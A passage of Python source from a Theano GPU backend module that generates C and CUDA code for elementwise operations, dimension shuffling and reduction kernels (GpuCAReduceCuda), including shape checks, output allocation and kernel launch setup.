PyGpuArray_NDIM(%(iname)s));
%(fail)s;
}
for (int i = 0; i< %(nd)s; ++i)
{
dims[i] = (dims[i] == 1) ? PyGpuArray_DIMS(%(iname)s)[i] : dims[i];
if ((!(broadcasts_%(iname)s[i] &&
PyGpuArray_DIMS(%(iname)s)[i] == 1)) &&
(dims[i] != PyGpuArray_DIMS(%(iname)s)[i]))
{
PyErr_Format(PyExc_ValueError,
"GpuElemwise. Input dimension mis-match. Input"
" %(idx)d (indices start at 0) has shape[%%d] == %%llu"
", but the output's size on that axis is %%llu.",
i,
(unsigned long long)PyGpuArray_DIMS(%(iname)s)[i],
(unsigned long long)dims[i]
);
%(fail)s;
}
}
"""
% locals()
)
emitted_inames[iname] = True
# check that all outputs have valid dimensions
p = len(node.inputs)
for idx, oname in enumerate(outputs):
typecode = dtype_to_typecode(node.outputs[idx].dtype)
if idx not in self.inplace_pattern.keys():
code += (
"""
for (int i = 0; (i< %(nd)s) && (%(oname)s); ++i) {
if (dims[i] != PyGpuArray_DIMS(%(oname)s)[i])
{
Py_DECREF(%(oname)s);
%(oname)s = NULL;
}
}
if (%(oname)s && !GpuArray_CHKFLAGS(&(%(oname)s->ga), GA_C_CONTIGUOUS))
{
Py_XDECREF(%(oname)s);
%(oname)s = NULL;
}
if (NULL == %(oname)s)
{
%(oname)s = pygpu_empty(%(nd)d, dims,
%(typecode)s, GA_C_ORDER,
%(ctx)s, Py_None);
if (!%(oname)s) {
%(fail)s
}
}
rargs[%(p)s] = &%(oname)s->ga;
"""
% locals()
)
p += 1
else:
input_idx = self.inplace_pattern[idx]
iname = inputs[input_idx]
code += (
"""
Py_XDECREF(%(oname)s);
%(oname)s = %(iname)s;
Py_INCREF(%(oname)s);
for (int i = 0; (i< %(nd)s) && (%(oname)s); ++i) {
if (dims[i] != PyGpuArray_DIMS(%(oname)s)[i])
{
PyErr_Format(PyExc_ValueError,
"GpuElemwise. Output dimension mis-match. Output"
" %(idx)d (indices start at 0), working inplace"
" on input %(input_idx)s, has shape[%%i] == %%llu"
", but the output's size on that axis is %%llu.",
i,
(unsigned long long)PyGpuArray_DIMS(%(oname)s)[i],
(unsigned long long)dims[i]
);
Py_DECREF(%(oname)s);
%(oname)s = NULL;
%(fail)s;
}
}
"""
% locals()
)
code += """
if (GpuElemwise_call(ge, rargs, GE_BROADCAST) != GA_NO_ERROR) {
PyErr_SetString(PyExc_RuntimeError, "Error in the elemwise call");
%(fail)s
}
""" % dict(
fail=sub["fail"]
)
return str(code)
# To disable the superclass perform.
perform = Op.perform
# Since we don't have a perform ...
def python_constant_folding(self, node):
return False
def c_code_cache_version(self):
ver = self.scalar_op.c_code_cache_version()
if ver:
return (10, ver)
else:
return ver
class SupportCodeError(Exception):
"""
We do not support certain things (such as the C++ complex struct).
"""
class GpuDimShuffle(DimShuffle):
"""
DimShuffle on the GPU.
"""
_f16_ok = True
c_func_name = "APPLY_SPECIFIC(gpu_dimshuffle)"
def make_node(self, input):
ctx_name = infer_context_name(input)
res = DimShuffle.make_node(self, input)
otype = GpuArrayType(
dtype=res.outputs[0].type.dtype,
broadcastable=res.outputs[0].type.broadcastable,
context_name=ctx_name,
)
input = as_gpuarray_variable(input, ctx_name)
return Apply(self, [input], [otype()])
def __str__(self):
if self.inplace:
s = "InplaceGpuDimShuffle{%s}"
else:
s = "GpuDimShuffle{%s}"
return s % (",".join(str(x) for x in self.new_order))
def perform(self, node, inp, out, params):
(input,) = inp
(storage,) = out
res = input
res = res.transpose(self.shuffle + self.drop)
shape = list(res.shape[: len(self.shuffle)])
for augm in self.augment:
shape.insert(augm, 1)
res = res.reshape(shape)
if not self.inplace:
res = res.copy()
storage[0] = res
class GpuCAReduceCuda(GpuKernelBase, HideC, CAReduceDtype):
"""
GpuCAReduceCuda is a Reduction along some dimensions by a scalar op.
Parameters
----------
reduce_mask
The dimensions along which to reduce. The `reduce_mask` is a tuple of
booleans (actually integers 0 or 1) that specify for each input
dimension, whether to reduce it (1) or not (0).
pre_scalar_op
If present, must be a scalar op with only 1 input. We will execute it
on the input value before reduction.
Examples
--------
When scalar_op is a theano.scalar.basic.Add instance:
- reduce_mask == (1,) sums a vector to a scalar
- reduce_mask == (1,0) computes the sum of each column in a matrix
- reduce_mask == (0,1) computes the sum of each row in a matrix
- reduce_mask == (1,1,1) computes the sum of all elements in a 3-tensor.
Notes
-----
Any reduce_mask of all zeros is a sort of 'copy', and may be removed during
graph optimization.
This Op is a work in progress.
This op was recently upgraded from just GpuSum a general CAReduce. Not
many code cases are supported for scalar_op being anything other than
scalar.Add instances yet.
Important note: if you implement new cases for this op, be sure to
benchmark them and make sure that they actually result in a speedup.
GPUs are not especially well-suited to reduction operations so it is
quite possible that the GPU might be slower for some cases.
"""
__props__ = (
"axis",
"reduce_mask",
"dtype",
"acc_dtype",
"scalar_op",
"pre_scalar_op",
)
_f16_ok = True
verbose = 0
def __init__(
self,
scalar_op,
axis=None,
reduce_mask=None,
dtype=None,
acc_dtype=None,
pre_scalar_op=None,
):
if reduce_mask is not None:
reduce_mask = tuple(reduce_mask)
self.reduce_mask = reduce_mask
# used to make sure that calls to scalar op
# have unique name arguments
self._n_scalar_op_calls = 0
CAReduceDtype.__init__(
self, scalar_op, axis=axis, dtype=dtype, acc_dtype=acc_dtype
)
self.pre_scalar_op = pre_scalar_op
if pre_scalar_op:
assert pre_scalar_op.nin == 1
def __str__(self):
pre = ""
if self.pre_scalar_op:
pre = f"pre={self.pre_scalar_op},red="
ax = ""
if self.axis is not None:
ax = f"{{{", ".join(str(x) for x in self.axis)}}}"
return f"GpuCAReduceCuda{{{pre}{str(self.scalar_op)}}}{ax}"
def __setstate__(self, d):
self.__dict__.update(d)
# For unpickling of old ops.
if not hasattr(self, "pre_scalar_op"):
self.pre_scalar_op = None
def make_node(self, x):
x = as_gpuarray_variable(x, infer_context_name(x))
if x.type.context.kind != b"cuda":
raise TypeError("GpuCAReduceCuda doesn't work for non-cuda devices")
ret = super().make_node(x)
self = copy.copy(self)
self.axis = ret.op.axis
if self.pre_scalar_op:
# Currently we only tested pre_scalar_op that don't cause
# upcast.
assert Elemwise(self.pre_scalar_op)(x).dtype == x.dtype
if self.reduce_mask is None:
if self.axis is None:
reduce_mask = [1] * x.type.ndim
else:
reduce_mask = [0] * x.type.ndim
for a in self.axis:
assert reduce_mask[a] == 0
reduce_mask[a] = 1
self.reduce_mask = tuple(reduce_mask)
if x.type.ndim != len(self.reduce_mask):
raise TypeError(f"x must have rank {len(self.reduce_mask)}")
if (
"complex" in x.dtype
or "complex" in ret.outputs[0].dtype
or "complex" in self._acc_dtype(x.dtype)
):
raise NotImplementedError("We don't support complex in gpu reduction")
return Apply(
self,
[x],
[
GpuArrayType(
ret.outputs[0].dtype,
ret.outputs[0].type.broadcastable,
context_name=x.type.context_name,
)()
],
)
def perform(self, node, inp, out, ctx):
Op.perform(self, node, inp, out, ctx)
def supports_c_code(self, inputs):
"""
Returns True if the current op and reduce pattern has functioning C code.
"""
# If we don't even have the right method, we certainly
# don't support the C code
# (This is the test that used to be implemented by
# local_gpu_sum)
pattern = "".join(str(i) for i in self.reduce_mask)
if not hasattr(self, f"c_code_reduce_{pattern}"):
return False
# Now that this is a general reduction op, we might
# have a method for a pattern, but that pattern
# might not be implemented for the current scalar op.
# To detect this more complicated situation, we
# make fake arguments to c_code, try to run them,
# and see if NotImplementedError gets raised.
node = self.make_node(*inputs)
name = "fake_name"
inp = [f"fake_input_name_{i}" for i in range(len(inputs))]
out = [f"fake_output_name_{i}" for i in range(len(node.outputs))]
sub = {"fail": "fake failure code", "params": "fake context"}
try:
self.c_code(node, name, inp, out, sub)
if not self.gpu_kernels(node, name):
return False
except NotImplementedError:
return False
return True
def c_headers(self):
return ["<numpy_compat.h>", "<gpuarray/types.h>"]
def c_support_code(self):
return """
template <typename T>
static T ceil_intdiv(T a, T b)
{
return (a/b) + ((a % b) ? 1: 0);
}
"""
def c_code(self, node, name, inp, out, sub):
(x,) = inp
(z,) = out
nd_in = node.inputs[0].type.ndim
nd_out = node.outputs[0].type.ndim
# For complex, we need to use theano_complex* in the c code to
# have it run. But libgpuarray don't understand it.
in_dtype = node.inputs[0].type.dtype_specs()[1]
out_dtype = node.outputs[0].type.dtype_specs()[1]
gin_dtype = "npy_" + node.inputs[0].dtype
gout_dtype = "npy_" + node.outputs[0].dtype
assert nd_in - nd_out == sum(self.reduce_mask)
sio = StringIO()
fail = sub["fail"]
ctx = sub["params"]
# check input
print(
"""
if (PyGpuArray_NDIM(%(x)s) != %(nd_in)s)
{
PyErr_Format(PyExc_TypeError,
"required nd=%(nd_in)s, got nd=%%u", PyGpuArray_NDIM(%(x)s));
%(fail)s;
}
"""
% locals(),
file=sio,
)
# It might be nice to use a property of the op class to do this,
# but tensor.elemwise.CAReduce has this exact same check so I guess
# this is OK to do
if self.scalar_op in [scalar.scalar_minimum, scalar.scalar_maximum]:
conds = [
f"(PyGpuArray_DIMS({x})[{i}] == 0)"
for i in range(nd_in)
if self.reduce_mask[i]
]
assert len(conds) > 0
cond = "(" + " || ".join(conds) + ")"
print(
"""
if %(cond)s
{
PyErr_Format(PyExc_ValueError," tried to reduce a 0-length axis.");
%(fail)s;
}
"""
% locals(),
file=sio,
)
#
# alloc an output if we need one
#
# check the basics of out output
print(
f"""
if ( !{z}
|| (PyGpuArray_NDIM({z}) != {nd_out})
""",
file=sio,
)
# ensure that the output has the right non-reduced dimensions
j = 0
for i in range(nd_in):
if not self.reduce_mask[i]:
print(
" || (PyGpuArray_DIMS(%(z)s)[%(j)s] != PyGpuArray_DIMS(%(x)s)[%(i)d]) "
% locals(),
file=sio,
)
j += 1
print(
"""
)
{
"""
% locals(),
file=sio,
)
if nd_out > 0:
print(f"size_t new_dims[{nd_out}]; ", file=sio)
else:
print("size_t *new_dims=NULL; ", file=sio)
j = 0
for i in range(nd_in):
if not self.reduce_mask[i]:
print(
f"new_dims[{j}] = PyGpuArray_DIMS({x})[{i}];",
file=sio,
)
j += 1
out_typecode = dtype_to_typecode(gout_dtype[4:])
print(
"""
Py_XDECREF(%(z)s);
%(z)s = pygpu_empty(%(nd_out)s, new_dims,
%(out_typecode)s, GA_C_ORDER,
%(ctx)s, Py_None);
if (NULL == %(z)s)
{
PyErr_Format(PyExc_RuntimeError, "Failed to allocate output");
%(fail)s;
}
}
"""
% locals(),
file=sio,
)
# \begin bracket the reduction in a check that there is
# actually work to do
if getattr(self.scalar_op, "identity", None) == 0:
zero_shp = f"GpuArray_memset(&{z}->ga, 0)"
# TODO: elif getattr(self.scalar_op, 'identity', None) == 1:
else:
scalar_op = self.scalar_op
zero_shp = (
"""
PyErr_Format(PyExc_NotImplementedError,
"GpuCAReduceCuda not implemented when input shape is 0"
" for this scalar_op: %(scalar_op)s");
%(fail)s;
"""
% locals()
)
print(
"""
if (PyGpuArray_SIZE(%(z)s) && ! PyGpuArray_SIZE(%(x)s)){
%(zero_shp)s;
}
else if (PyGpuArray_SIZE(%(z)s))
{
"""
% locals(),
file=sio,
)
#
# Now perform the reduction
#
if all(i == 1 for i in self.reduce_mask):
# check if the tensor is ccontiguous, if true, use the c_code_reduce_ccontig code.
# TODO: check if we are ccontiguous when we un-dimshuffle
# TODO: if only some dims are ccontiguous, call version with less dims.
print("if(%(x)s->ga.flags & GA_C_CONTIGUOUS){" % locals(), file=sio)
self.c_code_reduce_ccontig(sio, node, name, x, z, fail)
print("}else{", file=sio)
getattr(self, f"c_code_reduce_{"".join(str(i) for i in self.reduce_mask)}")(
sio, node, name, x, z, fail
)
print("}", file=sio)
else:
getattr(self, f"c_code_reduce_{"".join(str(i) for i in self.reduce_mask)}")(
sio, node, name, x, z, fail
)
# \end bracket the reduction ...
print(
"""
}
"""
% locals(),
file=sio,
)
return sio.getvalue()
def _makecall(
self, node, name, x, z, fail, pattern=None, extra_dims=(), extra_strides=()
):
"""
Return a string for making a kernel call.
The return value looks something like:
.. code-block:: c
ssize_t stride_A0 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
if (verbose)
printf("running kernel_reduce_10_%(name)s\\n");
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads[0] * n_threads[1] * n_threads[2];
void *kernel_params[] = {
(void *)&PyGpuArray_DIMS(%(x)s)[0],
(void *)&PyGpuArray_DIMS(%(x)s)[1],
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0,
(void *)&stride_A1,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0};
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, n_shared, kernel_params);
%(err_check)s
"""
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
sio = StringIO()
if pattern is None:
pattern = "".join(str(c) for c in self.reduce_mask)
ndim = len(self.reduce_mask)
nd_out = ndim - sum(self.reduce_mask)
shapes_format = f"shape=({",".join(["%llu"] * node.inputs[0].ndim)})"
shapes_data = ",".join(
[f"(size_t) PyGpuArray_DIMS({x})[{i}]" for i in range(node.inputs[0].ndim)]
)
k_var = f"kernel_reduce_{pattern}_{name}"
params = []
for i in range(ndim):
params.append(f"(void *)&PyGpuArray_DIMS({x})[{i}]")
for declaration, value in extra_dims:
print(declaration % locals(), file=sio)
params.append(value)
params.append(f"(void *){x}->ga.data")
params.append(f"(void *)&{x}->ga.offset")
for i in range(ndim):
print(
"""
ssize_t stride_A%(i)d = PyGpuArray_STRIDES(%(x)s)[%(i)s]/sizeof(%(in_dtype)s);
"""
% locals(),
file=sio,
)
params.append("(void *)&stride_A%(i)d" % locals())
for declaration, value in extra_strides:
print(declaration % locals(), file=sio)
params.append(value)
params.append(f"(void *){z}->ga.data")
params.append(f"(void *)&{z}->ga.offset")
for i in range(nd_out):
print(
"""
ssize_t stride_Z%(i)d = PyGpuArray_STRIDES(%(z)s)[%(i)s]/sizeof(%(out_dtype)s);
"""
% locals(),
file=sio,
)
params.append("(void *)&stride_Z%(i)d" % locals())
kernel_params = ", ".join(params)
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
if (verbose)
printf("running kernel_reduce_%(pattern)s_%(name)s\\n");
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads[0] * n_threads[1] * n_threads[2];
void *kernel_params[] = { %(kernel_params)s };
if (verbose>1)
printf("n_threads[0]=%%lu, n_threads[1]=%%lu, "
"n_threads[2]=%%lu, n_threads=%%lu, "
"n_blocks[0]=%%lu, n_blocks[1]=%%lu, n_blocks[2]=%%lu, "
"n_blocks=%%lu, n_shared=%%d, %(shapes_format)s\\n",
n_threads[0],n_threads[1],
n_threads[2],
n_threads[0]*n_threads[1]*
n_threads[2],
n_blocks[0],n_blocks[1],n_blocks[2],
n_blocks[0]*n_blocks[1]*n_blocks[2],
n_shared, %(shapes_data)s);
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, n_shared, kernel_params);
%(err_check)s
"""
% locals(),
file=sio,
)
return sio.getvalue()
def _k_decl(self, node, nodename, pattern=None, ndim=None, reduce_mask=None):
"""
Return a string to declare a kernel function.
The result will look something like this:
.. code-block:: c
KERNEL void kernel_reduce_110_%(nodename)s(
const ga_size d0,
const ga_size d1,
const ga_size d2,
const %(in_type)s *A,
const ga_size offset_A,
const ga_ssize sA0,
const ga_ssize sA1,
const ga_ssize sA2,
%(out_type)s * Z,
const ga_size offset_Z,
const ga_ssize sZ0)
Since the nodename is unique, we don't need to put the name
of the scalar_op in here.
"""
in_dtype = node.inputs[0].dtype
out_dtype = node.outputs[0].dtype
in_type = gpuarray.dtype_to_ctype(in_dtype)
out_type = gpuarray.dtype_to_ctype(out_dtype)
if reduce_mask is None:
reduce_mask = self.reduce_mask
if ndim is None:
ndim = len(reduce_mask)
if pattern is None:
pattern = "".join(str(i) for i in reduce_mask)
kname = f"kernel_reduce_{pattern}"
k_var = f"kernel_reduce_{pattern}_{nodename}"
params = []
sio = StringIO()
print(
f"""
KERNEL void {kname}(
""",
file=sio,
)
for i in range(ndim):
params.append("uintp")
print(
f"""
const ga_size d{i},
""",
file=sio,
)
params.append(gpuarray.GpuArray)
params.append("uintp")
print(
f"""
const {in_type} *A, const ga_size offset_A,
""",
file=sio,
)
for i in range(ndim):
params.append("intp")
print(
f"""
const ga_ssize sA{i},
""",
file=sio,
)
params.append(gpuarray.GpuArray)
params.append("uintp")
print(
f"""
{out_type} * Z, const ga_size offset_Z
""",
file=sio,
)
for i in range(ndim - sum(reduce_mask)):
params.append("intp")
print(
f"""
, const ga_ssize sZ{i}
""",
file=sio,
)
print(")", file=sio)
return sio.getvalue(), kname, params, k_var
def _k_init(self, node, nodename):
in_dtype = node.inputs[0].dtype
out_dtype = node.outputs[0].dtype
acc_dtype = self._acc_dtype(node.inputs[0].dtype)
# We need to use theano_complex* and not npy_complex*
in_type = gpuarray.dtype_to_ctype(in_dtype)
out_type = gpuarray.dtype_to_ctype(out_dtype)
acc_type = gpuarray.dtype_to_ctype(acc_dtype)
return (
"""
const int threadCount = blockDim.x * blockDim.y * blockDim.z;
const int threadNum = threadIdx.z * blockDim.x * blockDim.y
+ threadIdx.y * blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = 0;
"""
% locals()
)
def _assign_init(self, first_item, dtype):
"""
This return the initial value for myresult.
If the scalar op have an identity value, return it.
Otherwise, check that the scalar op is maximum or minimum
and return first_item. It should be the first element of the reduction.
As the maximum and minimum of the same value don't change, this work.
"""
if hasattr(self.scalar_op, "identity"):
return str(self.scalar_op.identity)
else:
assert isinstance(
self.scalar_op, (scalar.ScalarMaximum, scalar.ScalarMinimum)
)
if self.pre_scalar_op: # TODO: multiple dtypes
# dtype = node.inputs[0].dtype
dummy_var = scalar.Scalar(dtype=dtype)()
dummy_node = self.pre_scalar_op.make_node(dummy_var)
dummy_name = "assign_init_pre_scalar_op" + str(self._n_scalar_op_calls)
self._n_scalar_op_calls += 1
t = self.pre_scalar_op.c_code(
dummy_node, dummy_name, (first_item,), ("",), {}
)
assert t.startswith(" = ")
first_item = t[3:]
if first_item[-1] == ";":
first_item = first_item[:-1]
return first_item
def _assign_reduce(self, node, name, left, right, sub, pre):
"""
Parameters
----------
node
The node argument to this op's c_code.
name
The name argument to this op's c_code.
left
A C code string identifying an lvalue.
right
A C code string identifying an expression.
sub
The sub argument to this op's c_code.
pre
If True, we will add the pre_scalar_op.c_code.
Returns
-------
str
C code to reduce left and right, assigning the result to left.
"""
(x,) = node.inputs
in_dtype = x.dtype
out_dtype = node.outputs[0].dtype
dummy_left = Scalar(dtype=out_dtype)()
dummy_right = Scalar(dtype=in_dtype)()
dummy_node = self.scalar_op.make_node(dummy_left, dummy_right)
dummy_name = name + "_scalar_op" + str(self._n_scalar_op_calls)
self._n_scalar_op_calls += 1
if pre and self.pre_scalar_op:
assert left == "myresult"
dummy_node = self.pre_scalar_op.make_node(dummy_left)
dummy_name = name + "_scalar_op" + str(self._n_scalar_op_calls)
self._n_scalar_op_calls += 1
t = self.pre_scalar_op.c_code(dummy_node, dummy_name, (right,), ("",), sub)
assert t.startswith(" = ")
right = t[3:]
if right[-1] == ";":
right = right[:-1]
return self.scalar_op.c_code(
dummy_node, dummy_name, (left, right), (left,), sub
)
def _k_reduce_buf(self, z_pos, node, name, sub):
"""
WRITEME
Parameters
----------
node, name, sub
These should be passed through from the original call to c_code.
"""
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
write_out = write_w(node.outputs[0].dtype)
current_version = """
__syncthreads(); // some kernel do multiple reduction.
buf[threadNum] = myresult;
__syncthreads();
// rest of function is handled by one warp
if (threadNum < warpSize) {
//round up all the partial sums into the first `warpSize` elements
for (int i = threadNum + warpSize; i < threadCount; i += warpSize)
{
"""
current_version += (
self._assign_reduce(node, name, "myresult", "buf[i]", sub, False)
+ """
}
buf[threadNum] = myresult;
}
__syncthreads();
for (unsigned int _n = warpSize / 2; _n > 0; _n /= 2) {
if (threadNum < _n && threadNum + _n < threadCount)
"""
)
current_version += self._assign_reduce(
node, name, "buf[threadNum]", "buf[threadNum+_n]", sub, False
)
current_version += """
__syncthreads();
}
if (threadNum == 0) {
%(z_pos)s = %(write_out)s(buf[0]);
}
"""
current_version = current_version % locals()
return current_version
# Threads must be organized as: threadNum%nb_reduce correspond to the same sum
# nb_reduce<=warpSize
def _k_reduce_buf_multiple(self, z_pos, node, name, nb_reduce):
reduce_fct = self._assign_reduce(node, name, "myresult", "buf[i]", {}, False)
write_out = write_w(node.outputs[0].dtype)
return (
"""
__syncthreads(); // some kernel do multiple reduction.
buf[threadNum] = myresult;
__syncthreads();
// rest of function is handled by one warp
if (threadNum < %(nb_reduce)s)
{
//round up all the partial sums into the first `nb_reduce` elements
for (int i = threadNum + %(nb_reduce)s; i < threadCount; i += %(nb_reduce)s)
{
%(reduce_fct)s;
}
%(z_pos)s = %(write_out)s(myresult);
}
"""
% locals()
)
def c_code_reduce_ccontig(self, sio, node, name, x, z, fail):
verbose = self.verbose
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
if getattr(self.scalar_op, "identity", None) == 0:
zero_shp = f"GpuArray_memset(&{z}->ga, 0)"
# TODO: elif getattr(self.scalar_op, 'identity', None) == 1:
else:
zero_shp = (
"""
PyErr_Format(PyExc_NotImplementedError,
"GpuCAReduceCuda not implemented when input shape is 0 for this scalar_op");
%(fail)s;
"""
% locals()
)
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
k_var = f"kernel_reduce_ccontig_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
{
if(PyGpuArray_SIZE(%(x)s)==0){
%(zero_shp)s;
}else{
int verbose = %(verbose)s;
size_t numEls = PyGpuArray_SIZE(%(x)s);
size_t n_threads = std::min(numEls, (size_t) 256);
size_t n_blocks = 1;
void *kernel_params[] = {(void *)&numEls,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset};
if (verbose) printf("running kernel_reduce_ccontig_%(name)s"
" n_threads=%%llu, size=%%llu, ndim=%%u\\n",
n_threads, numEls,
PyGpuArray_NDIM(%(x)s));
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads;
int err = GpuKernel_call(&%(k_var)s, 1, &n_blocks, &n_threads, n_shared, kernel_params);
%(err_check)s
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_1(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 256), 1, 1};
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_11(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t) 256), 1, 1};
while (n_threads[1] * n_threads[0] <= 256) ++n_threads[1];
n_threads[1] -= 1;
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[0])
n_threads[1] = PyGpuArray_DIMS(%(x)s)[0];
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_01X(self, sio, node, name, x, z, fail, N):
"""
Parameters
----------
N
The number of 1 in the pattern N=1 -> 01, N=2 -> 011 N=3 ->0111
Work for N=1,2,3.
"""
assert N in [1, 2, 3]
verbose = self.verbose
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
makecall = self._makecall(node, name, x, z, fail)
N_pattern = "".join(["1"] * N)
param_dim = ",".join([f"PyGpuArray_DIMS({x})[{i}]" for i in range(N + 1)])
strides_dim = ",".join(
[f"PyGpuArray_STRIDES({x})[{i}]/sizeof({in_dtype})" for i in range(N + 1)]
)
threads_y = (
"""
//get as many y threads as we can fit
while (n_threads[0] * (n_threads[1]+1) <= 256)
{
if (n_threads[1] < PyGpuArray_DIMS(%(x)s)[%(N)s-1])
n_threads[1] += 1;
else
break;
}"""
% locals()
)
threads_z = (
"""
//get as many z threads as we can fit
while (n_threads[0] * n_threads[1] * (n_threads[2]+1) <= 256)
{
if (n_threads[2] < PyGpuArray_DIMS(%(x)s)[%(N)s-2])
n_threads[2] += 1;
else
break;
}
//Maximum for Fermi GPU on that dimensions.
n_threads[2] = std::min(n_threads[2], (size_t)64);
"""
% locals()
)
if len(self.reduce_mask) == 2:
threads_y = ""
threads_z = ""
if len(self.reduce_mask) == 3:
threads_z = ""
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[%(N)s], (size_t) 256), 1, 1};
%(threads_y)s
%(threads_z)s
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 4096), 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_01(self, sio, node, name, x, z, fail):
self.c_code_reduce_01X(sio, node, name, x, z, fail, 1)
def c_code_reduce_011(self, sio, node, name, x, z, fail):
self.c_code_reduce_01X(sio, node, name, x, z, fail, 2)
def c_code_reduce_0111(self, sio, node, name, x, z, fail):
self.c_code_reduce_01X(sio, node, name, x, z, fail, 3)
def c_code_reduce_10(self, sio, node, name, x, z, fail):
verbose = self.verbose
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
k_var = f"kernel_reduce_10_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
{
int verbose = %(verbose)s;
if(PyGpuArray_STRIDES(%(x)s)[0]>
PyGpuArray_STRIDES(%(x)s)[1]){
// If there are a lot of summations to do, then we can use simple parallelization -
// use each thread to do one sum.
// we might as well launch blocks of 32 threads because that's the warp size.
// we could schedule more threads if we were maxing out the gridsize below, but
// the gridsize is way more than the physical hardware and I think 32 threads
// on a huge grid is enough to fully use the hardware.
size_t n_threads[3] = {32, 1, 1};
// We kindof reshape the input implicitly to something 4D:
// the shape A,B,C -> A, B, D, E
// where C <= D*E < C+32
// where E==32
GpuKernel *%(k_var)s = &kernel_reduce_010_AD_%(name)s;
size_t A = 1;
size_t B = PyGpuArray_DIMS(%(x)s)[0];
size_t C = PyGpuArray_DIMS(%(x)s)[1];
size_t D = C/32;
if (32*D < C) D+= 1;
assert ((C <= 32*D) && (32*D < C+32));
// The gridsize would ideally be (A, D). But we do the following logic to make
// sure we don't ask for a grid that is too big.
size_t n_blocks[3] = {A, D, 1};
if (n_blocks[0] > 4096) n_blocks[0] = 4096;
if (n_blocks[0]*n_blocks[1] > 4096) n_blocks[1] = 4096/n_blocks[0];
ssize_t stride_A0 = 1;
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = 1;
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&A, (void *)&B, (void *)&C, (void *)&D,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(%(k_var)s, 3, n_blocks, n_threads, 0, kernel_params);
%(err_check)s
}else{
GpuKernel *%(k_var)s = &kernel_reduce_010_%(name)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 256), 1, 1};
size_t n_blocks[3] = {1, std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t) 4096), 1};
if (verbose) {
fprintf(stderr,
"running kernel_reduce_10_%(name)s n_blocks=(%%llu,%%llu)\\n",
(unsigned long long)n_blocks[0],
(unsigned long long)n_blocks[1]);
}
assert(PyGpuArray_DIMS(%(x)s)[1] == PyGpuArray_DIMS(%(z)s)[0]);
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads[0];
size_t dim_0 = 1;
ssize_t stride_A0 = 1;
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = 1;
